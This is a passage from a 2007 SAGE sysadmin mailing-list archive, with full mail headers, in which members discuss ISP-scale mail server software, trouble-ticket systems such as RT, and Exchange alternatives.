and best of all, a solid product with a low barrier to entry and a
ready means to make your own modifications.

Although dotProject can be used by sales teams and other organizations
with complex project management needs, it's also a perfect way to
quickly sketch out and track tasks for overworked sysadmins.  I don't
use the Gantt charts or the contact stuff much,  but it stores all my
software compile/package/install chores, perl script tasks, and system
migrations.  I highly recommend it.

--
--Greg Chavez
--


From sage-members-owner@usenix.org Tue Mar  6 05:36:03 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l26DZvAO014757
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Tue, 6 Mar 2007 05:36:02 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l26DZuA9014756
	for sage-members-0utGoign; Tue, 6 Mar 2007 05:35:56 -0800 (PST)
Received: from wx-out-0506.google.com (wx-out-0506.google.com [66.249.82.228])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l26DZUmD014744
	for <sage-members@usenix.org>; Tue, 6 Mar 2007 05:35:41 -0800 (PST)
Received: by wx-out-0506.google.com with SMTP id t12so2069087wxc
	for <sage-members@usenix.org>; Tue, 06 Mar 2007 05:35:27 -0800 (PST)
Received: by 10.70.89.1 with SMTP id m1mr11629775wxb.1173186418348;
	Tue, 06 Mar 2007 05:06:58 -0800 (PST)
Received: from ?192.168.1.103? ( [201.1.16.196])
	by mx.google.com with ESMTP id h13sm6169886wxd.2007.03.06.05.06.55;
	Tue, 06 Mar 2007 05:06:56 -0800 (PST)
Message-ID: <45ED676A.1000908@geekbunker.org>
Date: Tue, 06 Mar 2007 10:06:50 -0300
From: Rodrigo Campos <rodrigo@geekbunker.org>
User-Agent: Thunderbird 1.5.0.10 (Windows/20070221)
MIME-Version: 1.0
To: sage-members@usenix.org
Subject: [SAGE] ISP class e-mail server
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-DCC--Metrics: voyager 104; Body=1 Fuz1=1 Fuz2=1 rep=5%
Sender: owner-sage-members@usenix.org
Precedence: bulk

Hi,

I'm looking for an isp class e-mail server, capable of handling millions 
of e-mail accounts per domain.

The requisites are support for pop3/imap4/smtp and it must be able to 
handle Gigabyte mailboxes. It must run on (preferably) Linux or Solaris 
on Intel servers, on a SAN environment (probably EMC or HDS).

I'm currently evaluating Critical Path and Communigate, maybe some of 
you have experience with these softwares or could recommend any others.

Thanks in advance!


--
Rodrigo Campos




From sage-members-owner@usenix.org Tue Mar  6 06:01:20 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l26E1J5I015412
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Tue, 6 Mar 2007 06:01:20 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l26E1JwE015410
	for sage-members-0utGoign; Tue, 6 Mar 2007 06:01:19 -0800 (PST)
Received: from mailbox.reptiles.org (rootgecko.reptiles.org@mail.reptiles.org
	[198.96.210.227])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l26E0raS015393
	for <sage-members@usenix.org>; Tue, 6 Mar 2007 06:01:04 -0800 (PST)
Received: from skink.reptiles.org ([198.96.210.227] port=56966)
	by mailbox.reptiles.org([198.96.210.227] port=25)
	via TCP with esmtp (1477 bytes) (sender: <cat@reptiles.org>)
	(ident <nobody> using UNIX) id <m1HOaDi-00DwMCC@mailbox.reptiles.org>
	for <sage-members@usenix.org>; Tue, 6 Mar 2007 09:00:50 -0500 (EST)
	(Smail-3.2.0.121 2005-Nov-17 #4 built 2006-Nov-28)
Date: Tue, 6 Mar 2007 09:00:49 -0500 (EST)
From: Cat Okita <cat@reptiles.org>
To: Rodrigo Campos <rodrigo@geekbunker.org>
cc: sage-members@usenix.org
Subject: Re: [SAGE] ISP class e-mail server
In-Reply-To: <45ED676A.1000908@geekbunker.org>
Message-ID: <20070306085851.G38589@gecko.reptiles.org>
References: <45ED676A.1000908@geekbunker.org>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed
X-DCC--Metrics: voyager 104; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

On Tue, 6 Mar 2007, Rodrigo Campos wrote:
> I'm currently evaluating Critical Path and Communigate, maybe some of you 
> have experience with these softwares or could recommend any others.

I have to say that I'd recommend neither - I don't know of anybody
who's still running Critical Path software (people who have run it,
and run away screaming, absolutely) - and Communigate continues to be
old, cursed and crotchety.

Is there are reason why a combination of standard servers won't work
for you?

cheers!
==========================================================================
"A cat spends her life conflicted between a deep, passionate and profound
desire for fish and an equally deep, passionate and profound desire to
avoid getting wet.  This is the defining metaphor of my life right now."


From sage-members-owner@usenix.org Tue Mar  6 06:28:58 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l26ESwem016242
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Tue, 6 Mar 2007 06:28:58 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l26ESwXw016241
	for sage-members-0utGoign; Tue, 6 Mar 2007 06:28:58 -0800 (PST)
Received: from vostok.NebrWesleyan.edu (vostok.NebrWesleyan.edu
	[192.94.109.43])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l26ESWnR016220
	for <sage-members@usenix.org>; Tue, 6 Mar 2007 06:28:42 -0800 (PST)
Received: from vostok.NebrWesleyan.edu (localhost.localdomain [127.0.0.1])
	by vostok.NebrWesleyan.edu (Postfix) with ESMTP id C080273D132;
	Tue,  6 Mar 2007 08:28:26 -0600 (CST)
Received: from zaphod.NebrWesleyan.edu (zaphod.NebrWesleyan.edu [10.9.2.11])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by vostok.NebrWesleyan.edu (Postfix) with ESMTP id A80F173D12F;
	Tue,  6 Mar 2007 08:28:26 -0600 (CST)
Date: Tue, 6 Mar 2007 08:28:26 -0600 (CST)
From: "Chris St. Pierre" <stpierre@NebrWesleyan.edu>
To: Rodrigo Campos <rodrigo@geekbunker.org>
cc: sage-members@usenix.org
Subject: Re: [SAGE] ISP class e-mail server
In-Reply-To: <45ED676A.1000908@geekbunker.org>
Message-ID: <Pine.LNX.4.64.0703060822580.28562@zaphod.NebrWesleyan.edu>
References: <45ED676A.1000908@geekbunker.org>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed
X-Virus-Scanned: ClamAV using ClamSMTP
X-DCC--Metrics: voyager 104; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

On Tue, 6 Mar 2007, Rodrigo Campos wrote:

> I'm looking for an isp class e-mail server, capable of handling millions of 
> e-mail accounts per domain.
>
> The requisites are support for pop3/imap4/smtp and it must be able to handle 
> Gigabyte mailboxes. It must run on (preferably) Linux or Solaris on Intel 
> servers, on a SAN environment (probably EMC or HDS).

Why not just good ol' open source software?  You can buy support from
third-parties for most of the major packages (Sendmail, Postfix,
probably Exim, Cyrus, maybe even Dovecot), and they'll definitely
support all that, without the cruft of Communigate.  Your requirements
really aren't that terribly strenuous; with decent, scalable software
(everything I mentioned is) and a sane infrastructure, growth becomes
a problem of hardware and hardware alone.

Chris St. Pierre
Unix Systems Administrator
Nebraska Wesleyan University
----------------------------
Never send mail to thobrux@nebrwesleyan.edu



From sage-members-owner@usenix.org Tue Mar  6 06:44:54 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l26EisYZ016759
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Tue, 6 Mar 2007 06:44:54 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l26Eisb0016757
	for sage-members-0utGoign; Tue, 6 Mar 2007 06:44:54 -0800 (PST)
Received: from will.to (stat-153-124-108.myactv.net [24.153.124.108])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l26EiL7N016731
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL)
	for <sage-members@usenix.org>; Tue, 6 Mar 2007 06:44:38 -0800 (PST)
Received: from [75.194.213.174] (174.sub-75-194-213.myvzw.com [75.194.213.174])
	(authenticated bits=0)
	by will.to (8.13.4/8.13.4/Debian-3sarge3) with ESMTP id l26EiGZX029199
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT);
	Tue, 6 Mar 2007 09:44:18 -0500
Message-ID: <45ED7E3F.6070209@will.to>
Date: Tue, 06 Mar 2007 09:44:15 -0500
From: Doug Hughes <doug@will.to>
User-Agent: Thunderbird 1.5.0.10 (Windows/20070221)
MIME-Version: 1.0
To: Rodrigo Campos <rodrigo@geekbunker.org>
CC: sage-members@usenix.org
Subject: Re: [SAGE] ISP class e-mail server
References: <45ED676A.1000908@geekbunker.org>
In-Reply-To: <45ED676A.1000908@geekbunker.org>
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Greylist: Sender succeeded SMTP AUTH authentication, not delayed by
	milter-greylist-3.0rc3 (will.to [24.153.124.108]);
	Tue, 06 Mar 2007 09:44:19 -0500 (EST)
X-DCC--Metrics: voyager 104; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

Rodrigo Campos wrote:
> Hi,
>
> I'm looking for an isp class e-mail server, capable of handling 
> millions of e-mail accounts per domain.
>
> The requisites are support for pop3/imap4/smtp and it must be able to 
> handle Gigabyte mailboxes. It must run on (preferably) Linux or 
> Solaris on Intel servers, on a SAN environment (probably EMC or HDS).
>
> I'm currently evaluating Critical Path and Communigate, maybe some of 
> you have experience with these softwares or could recommend any others.
>
> Thanks in advance!
>
you might look into the sendmail message switch mail engine and server 
platform (nothing at all like the freeware, totally redone). It looks to 
have quite decent scalability, at a price. anti-virus and anti-spam are 
optional add-on modules.



From sage-members-owner@usenix.org Tue Mar  6 06:56:12 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l26EuCQ0017394
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Tue, 6 Mar 2007 06:56:12 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l26EuBTq017392
	for sage-members-0utGoign; Tue, 6 Mar 2007 06:56:12 -0800 (PST)
Received: from web82413.mail.mud.yahoo.com (web82413.mail.mud.yahoo.com
	[209.191.86.182])
	by usenix.org (8.13.6/8.13.6) with SMTP id l26Eu1P0017385
	for <sage-members@usenix.org>; Tue, 6 Mar 2007 06:56:06 -0800 (PST)
Received: (qmail 33251 invoked by uid 60001); 6 Mar 2007 14:49:16 -0000
X-YMail-OSG: WvSRlXsVM1kxTroVFJTYgElPReupRPBcgGBQK91krjVr32UYlUBLmHkmfL8TWZYTB0EN0ITb9zVH16ftfILg1EomIRZsQK3ycYhM5AGI9oJAZLHHLBaYRIEX5_uGRs9TkdUuzED1W_hmMk0-
Received: from [12.168.82.2] by web82413.mail.mud.yahoo.com via HTTP;
	Tue, 06 Mar 2007 06:49:16 PST
X-RocketYMMF: stuartk-eml@sbcglobal.net
Date: Tue, 6 Mar 2007 06:49:16 -0800 (PST)
From: Stuart Krivis <stuart@krivis.com>
Reply-To: stuart@krivis.com
Subject: Re: [SAGE] ISP class e-mail server
To: sage-members@usenix.org
In-Reply-To: <Pine.LNX.4.64.0703060822580.28562@zaphod.NebrWesleyan.edu>
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Message-ID: <791727.32502.qm@web82413.mail.mud.yahoo.com>
X-DCC-Usenix-Metrics: voyager 1010; Body=0 Fuz1=0 Fuz2=0 rep=12%
Sender: owner-sage-members@usenix.org
Precedence: bulk


--- "Chris St. Pierre" <stpierre@NebrWesleyan.edu>
wrote:

> On Tue, 6 Mar 2007, Rodrigo Campos wrote:
> 
> > I'm looking for an isp class e-mail server,
> capable of handling millions of 
> > e-mail accounts per domain.
> >
> > The requisites are support for pop3/imap4/smtp and
> it must be able to handle 
> > Gigabyte mailboxes. It must run on (preferably)
> Linux or Solaris on Intel 
> > servers, on a SAN environment (probably EMC or
> HDS).
> 
> Why not just good ol' open source software?  You can
> buy support from
> third-parties for most of the major packages
> (Sendmail, Postfix,
> probably Exim, Cyrus, maybe even Dovecot), and
> they'll definitely
> support all that, without the cruft of Communigate. 

I lean towards Qmail, but the others are fine too.

You can even get a commercial version of Sendmail if
that trips your trigger. (We use that where I work.)

The only tricky parts here are at the mailstore end of
things. You'll need something that does not require a
unix user account for each address (doesn't use
/etc/passwd), can handle GB mailboxes, and can handle
shared storage.

Cyrus fits those criteria pretty well.






From sage-members-owner@usenix.org Tue Mar  6 07:23:15 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l26FNEpV018397
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Tue, 6 Mar 2007 07:23:14 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l26FNEiE018396
	for sage-members-0utGoign; Tue, 6 Mar 2007 07:23:14 -0800 (PST)
Received: from e-c-group.com (persephone.e-c-group.com [216.128.192.244])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l26FMmU9018382
	for <sage-members@usenix.org>; Tue, 6 Mar 2007 07:22:59 -0800 (PST)
Received: from [66.26.62.109] (account lindsey HELO [192.168.16.158])
	by e-c-group.com (CommuniGate Pro SMTP 5.0.13)
	with ESMTPSA id 98659111; Tue, 06 Mar 2007 09:51:55 -0500
In-Reply-To: <20070306085851.G38589@gecko.reptiles.org>
References: <45ED676A.1000908@geekbunker.org>
	<20070306085851.G38589@gecko.reptiles.org>
Mime-Version: 1.0 (Apple Message framework v752.3)
Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed
Message-Id: <15F17494-09B7-4463-8043-E4EB3A0F37DA@acm.org>
Cc: Rodrigo Campos <rodrigo@geekbunker.org>, sage-members@usenix.org
Content-Transfer-Encoding: 7bit
From: "Mark R. Lindsey" <lindsey@acm.org>
Subject: Re: [SAGE] ISP class e-mail server
Date: Tue, 6 Mar 2007 09:51:53 -0500
To: Cat Okita <cat@reptiles.org>
X-Mailer: Apple Mail (2.752.3)
X-DCC--Metrics: voyager 104; bulk rep Body=many Fuz1=many Fuz2=many rep=68%
Sender: owner-sage-members@usenix.org
Precedence: bulk

On Mar 6, 2007, at 9:00 AM, Cat Okita wrote:

>  and Communigate continues to be
> old, cursed and crotchety.

I'm generally impressed with CommuniGate Pro, except for the price.  
It's got some of the features of open-source stuff like file-based  
configuration and no DBMS requirement, and some really nice automated  
self-defense mechanisms.

Of course, every tool is going to work for some people and fails for  
others. (See "PeopleWare" by Demarco and Lister for more on that.)




From sage-members-owner@usenix.org Tue Mar  6 07:45:13 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l26FjDoc021796
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Tue, 6 Mar 2007 07:45:13 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l26FjDng021794
	for sage-members-0utGoign; Tue, 6 Mar 2007 07:45:13 -0800 (PST)
Received: from mail.puryear-it.com ([72.242.176.166])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l26FiTBY021525
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members@usenix.org>; Tue, 6 Mar 2007 07:44:41 -0800 (PST)
Received: from mail.puryear-it.com (localhost.localdomain [127.0.0.1])
	by mail.puryear-it.com (8.13.1/8.13.1) with ESMTP id l26Fh9Lp015795;
	Tue, 6 Mar 2007 09:43:09 -0600
Received: from mail.puryear-it.com (root@localhost)
	by mail.puryear-it.com (8.13.1/8.13.1/Submit) with ESMTP id
	l26Fh9pd015794; Tue, 6 Mar 2007 09:43:09 -0600
Received: from localhost ( 192.168.222.35)
	by mail.puryear-it.com (Scalix SMTP Relay 10.0.1.3)
	via ESMTP; Tue, 06 Mar 2007 09:43:09 -0600 (CST)
Date: Tue, 6 Mar 2007 09:44:02 -0600
From: "Dustin Puryear" <dustin@puryear-it.com>
Reply-To: "Dustin Puryear" <dustin@puryear-it.com>
To: Cat Okita <cat@reptiles.org>
cc: Rodrigo Campos <rodrigo@geekbunker.org>, sage-members@usenix.org
Message-ID: <1576089318.20070306094402@puryear-it.com>
In-Reply-To: <20070306085851.G38589@gecko.reptiles.org>
References: <45ED676A.1000908@geekbunker.org>
References: <20070306085851.G38589@gecko.reptiles.org>
Subject: Re[2]: [SAGE] ISP class e-mail server
X-Priority: 3 (Normal)
x-scalix-Hops: 1
X-Mailer: The Bat! (v3.80.06) Professional
Organization: Puryear Information Technology, LLC
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Disposition: inline
X-Spam-Status: No, score=1.9 required=5.0 tests=BAYES_50, FORGED_MUA_THEBAT_CS 
	autolearn=no version=3.0.5
X-Spam-Level: *
X-Spam-Checker-Version: SpamAssassin 3.0.5 (2005-11-28) on mail.puryear-it.com
X-DCC--Metrics: voyager 104; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

I tend to agree with Cat. For one, don't expect to run a single
package for both SMTP and POP3/IMAP. You are going to run at least
two, one for SMTP and one for POP3/IMAP. And if you are going to have
"millions" of accounts, I would expect things to be split up quite a
bit. Something along the lines of:

[internet]

[dumps into incoming greylist/rbl smtp-servers ...]

[then optionally dumps into spam/av filters ...]

[then dumps into isp core smtp-servers ...] <--- [isp clients]

[then dumps into mailstore servers ...] - big RAID DAT, SAN, etc

[pop3/imap servers ...] <-- [isp clients]

---
Puryear Information Technology, LLC
Baton Rouge, LA * 225-706-8414
http://www.puryear-it.com

Author:
  "Best Practices for Managing Linux and UNIX Servers"
  "Spam Fighting and Email Security in the 21st Century"

Download your free copies:
  http://www.puryear-it.com/publications.htm


Tuesday, March 6, 2007, 8:00:49 AM, you wrote:

> On Tue, 6 Mar 2007, Rodrigo Campos wrote:
>> I'm currently evaluating Critical Path and Communigate, maybe some of you 
>> have experience with these softwares or could recommend any others.

> I have to say that I'd recommend neither - I don't know of anybody
> who's still running Critical Path software (people who have run it,
> and run away screaming, absolutely) - and Communigate continues to be
> old, cursed and crotchety.

> Is there are reason why a combination of standard servers won't work
> for you?

> cheers!
> ==========================================================================
> "A cat spends her life conflicted between a deep, passionate and profound
> desire for fish and an equally deep, passionate and profound desire to
> avoid getting wet.  This is the defining metaphor of my life right now."



From sage-members-owner@usenix.org Tue Mar  6 08:50:31 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l26GoVmk024526
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Tue, 6 Mar 2007 08:50:31 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l26GoUMp024525
	for sage-members-0utGoign; Tue, 6 Mar 2007 08:50:30 -0800 (PST)
Received: from Mycroft.westnet.com (Mycroft.westnet.com [216.187.52.7])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l26Go6xa024512
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL)
	for <sage-members@sage.org>; Tue, 6 Mar 2007 08:50:17 -0800 (PST)
Received: from jfsnew.stoffel.org (68-118-228-211.dhcp.oxfr.ma.charter.com
	[68.118.228.211]) (authenticated bits=0)
	by Mycroft.westnet.com (8.13.8/8.13.8) with ESMTP id l26Gnjho013880
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Tue, 6 Mar 2007 11:49:46 -0500 (EST)
Received: by jfsnew.stoffel.org (Postfix, from userid 1000)
	id 78E654EEF9; Tue,  6 Mar 2007 11:49:47 -0500 (EST)
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <17901.39851.404297.722220@smtp.charter.net>
Date: Tue, 6 Mar 2007 11:49:47 -0500
From: "John Stoffel" <john@stoffel.org>
To: "Paul M. Moriarty" <pmm@igtc.com>
Cc: Allan Poindexter <dex@network-science.net>, sage-members@sage.org
Subject: Re: [SAGE] work ticket systems
In-Reply-To: <20070302200558.GL8472@igloo.igtc.com>
References: <82wt1zevjz.fsf@clanspum.net>
	<20070302200558.GL8472@igloo.igtc.com>
X-Mailer: VM 7.19 under Emacs 21.4.1
X-Virus-Scanned: ClamAV 0.90/2747/Tue Mar 6 10:49:25 2007 on
	Mycroft.westnet.com
X-Virus-Status: Clean
X-DCC--Metrics: voyager 104; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

>>>>> "Paul" == Paul M Moriarty <pmm@igtc.com> writes:

Paul> Ah, ticketing systems.  People will go on and on about why they
Paul> like one versus another, but what works for Joe may suck for
Paul> Mary and vice versa.  May I suggest that before you start down
Paul> the path of determining which one is "best", that you do 2
Paul> things:

Paul> - Make a list of all features and functionality that you must
Paul> have.  Now, cut that list in 1/2.  Why?  Because this forces you
Paul> to really think about "must have" versus "nice to have".  It
Paul> will also result in giving you more solutions to look at.

Hear hear!  

Paul> - Document your current business process for ticketing in writing.
Paul>   If you don't have a process for ticketing before you run off to
Paul>   automate it, you will greatly increase the chances that what you
Paul>   deliver won't match what you thought you wanted.

Hear hear!  

Paul> OK, once you've done both of these and have drawn up a list of
Paul> apps to evaluate, pay critical attention to one thing:
Paul> Administrative Overhead.  I define that as the amount of time an
Paul> admin/tech spends working with the ticketing system versus
Paul> working on a ticket.  Some apps, especially those with more of a
Paul> CRM bent can have administrative overhead figures as great as
Paul> 15%.  Administrative overhead also applies to for the amount of
Paul> time required to create a ticket.  If it's a pain in the keister
Paul> to open a ticket, your customers never will.  Instead, they'll
Paul> call, email, drop by, etc...

Hear hear!  

In my current job, I'm stuck using a Notes based tool called GWI,
which puts me on the east coast, and the server on the west coast,
which means it's slow.  I timed how long and how many steps it took
for me to take an open, unassigned ticket and assign it to myself:

  - click on ticket to take
  - click on 'edit ticket' 
  - select 'assignee'
	- wait for window
	- find my name in tree
	- select
  - click on 'save' and wait
  - click on 'acknowledge' and wait

All this took on average 3 minutes, 30 seconds to complete, before I
had even been able to really look at the ticket.  Luckily it sends out
an email on receipt of new tickets.

Plus, we have it setup so emailed tickets are manually entered into
the system, along with phone tickets.  Sigh...

And they wonder why people (admins and end users) don't like this
system.


To me, the biggest reason to have a trouble ticket system is to make
sure that requests from your end-users are not lost and forgotten, and
so that you know which admin(s) are working on an issue.  Or not.  

So making this as simple and as transparent to the user AND to the
sysadmin is vital.  

I really cannot see why a ticket system needs to be so complicated.
Now some people say that they need to track SLAs, work done
per-ticket, number of tickets closed per-admin, number of high,
medium, low priority tickets, number of tickets for PCs, for Unix, for
password resets (unix or PC?  Which one is it?), etc.  

That's all extraneous garbage in my mind.  Quick, accurate feedback to
the end users that someone has received their problem, and that it
will get looked at is all most people want.  And which RT (in my mind
at least) did such a great job at.  It facilitated this flow of
communication between the users and the sysadmins, while not getting
in the way.  

John


From sage-members-owner@usenix.org Tue Mar  6 08:55:23 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l26GtMtC024847
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Tue, 6 Mar 2007 08:55:22 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l26GtLc7024844
	for sage-members-0utGoign; Tue, 6 Mar 2007 08:55:21 -0800 (PST)
Received: from Mycroft.westnet.com (Mycroft.westnet.com [216.187.52.7])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l26GtDU3024826
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL)
	for <sage-members@sage.org>; Tue, 6 Mar 2007 08:55:19 -0800 (PST)
Received: from jfsnew.stoffel.org (68-118-228-211.dhcp.oxfr.ma.charter.com
	[68.118.228.211]) (authenticated bits=0)
	by Mycroft.westnet.com (8.13.8/8.13.8) with ESMTP id l26GsXx1014045
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Tue, 6 Mar 2007 11:54:38 -0500 (EST)
Received: by jfsnew.stoffel.org (Postfix, from userid 1000)
	id 79F924EEF9; Tue,  6 Mar 2007 11:54:35 -0500 (EST)
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <17901.40139.402875.390935@smtp.charter.net>
Date: Tue, 6 Mar 2007 11:54:35 -0500
From: "John Stoffel" <john@stoffel.org>
To: "John  BORIS" <jboris@adphila.org>
Cc: <anarcat@anarcat.ath.cx>, <bryanf@samurai.com>, <sage-members@sage.org>
Subject: Re: [SAGE] work ticket systems
In-Reply-To: <s5e985cb.023@gw1.adphila.org>
References: <s5e985cb.023@gw1.adphila.org>
X-Mailer: VM 7.19 under Emacs 21.4.1
X-Virus-Scanned: ClamAV 0.90/2747/Tue Mar 6 10:49:25 2007 on
	Mycroft.westnet.com
X-Virus-Status: Clean
X-DCC--Metrics: voyager 104; Body=2 Fuz1=2 Fuz2=2
Sender: owner-sage-members@usenix.org
Precedence: bulk

>>>>> "John" == John BORIS <jboris@adphila.org> writes:

John> I have been using RT for a while and the only drawback for me
John> was the DB....
 
 [edited out]

John> Since I started using it I have had very little maintenance. It
John> sort of runs by itself. Biggest problem I have encountered is
John> getting users to use the email interface for Trouble calls and
John> get myself more disciplined to using it when phone call requests
John> come in.

One trick I used was when a user called or walked up to open a ticket,
I would fire off an email to rt, but change the From: field to be that
user's email.  The ticket entered into RT, the user got an email back
saying it was there, and we got a properly logged ticket.

Pretty soon, they learned that sending an email was a great way to get
their problem noticed and logged.  Maybe not handled right away, but
just knowing it was in the queue was a huge step for them.

To me, this is the key about any ticketing system, the ability for a
user to enter a ticket so easily, that they just stop thinking about
it and just send the email (or web page or whatever) for even the most
trivial things.

But it's if too hard (or the feedback about their entered ticket is
too slow) then they'll just call or wander over instead.  Which
defeats the purpose, since then user's and sysadmins go back to the
interruptus mode of working, which isn't really what either side
wants.

John


From sage-members-owner@usenix.org Tue Mar  6 09:18:32 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l26HIVg2025770
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Tue, 6 Mar 2007 09:18:32 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l26HIV0k025769
	for sage-members-0utGoign; Tue, 6 Mar 2007 09:18:31 -0800 (PST)
Received: from mail.seekio.com ([69.42.131.2])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l26HINoU025756
	(version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=FAIL)
	for <sage-members@usenix.org>; Tue, 6 Mar 2007 09:18:29 -0800 (PST)
Received: (qmail 21698 invoked by uid 7127); 6 Mar 2007 17:10:46 -0000
Received: from nate@seekio.com by kw41.primenetwork.net by uid 1056 with
	qmail-scanner-1.20 (spamassassin: 3.0.2.  Clear:RC:1(66.210.5.90):. 
	Processed in 0.034103 secs); 06 Mar 2007 17:10:46 -0000
X-Qmail-Scanner-Mail-From: nate@seekio.com via kw41.primenetwork.net
X-Qmail-Scanner: 1.20 (Clear:RC:1(66.210.5.90):. Processed in 0.034103 secs)
Received: from unknown (HELO ?10.0.220.1?) (nate@66.210.5.90)
	by mail.seekio.com with RC4-MD5 encrypted SMTP;
	6 Mar 2007 17:10:46 -0000
Message-ID: <45EDA096.5010200@seekio.com>
Date: Tue, 06 Mar 2007 10:10:46 -0700
From: Nate <nate@seekio.com>
User-Agent: Thunderbird 1.5.0.10 (X11/20070221)
MIME-Version: 1.0
To: sage-members@usenix.org
Subject: [SAGE] Exchange work-alikes
X-Enigmail-Version: 0.94.1.1
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-DCC--Metrics: voyager 104; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

I've been doing some research on email/calendar/contact systems similar
to exchange, and was wondering if anyone had any opinions.  Luckily, we
do not currently run Exchange, rather a qmail/vpopmail setup that's
showing its age.  Our company is getting large enough now that we need
some groupware functionality, specifically calendars for meeting
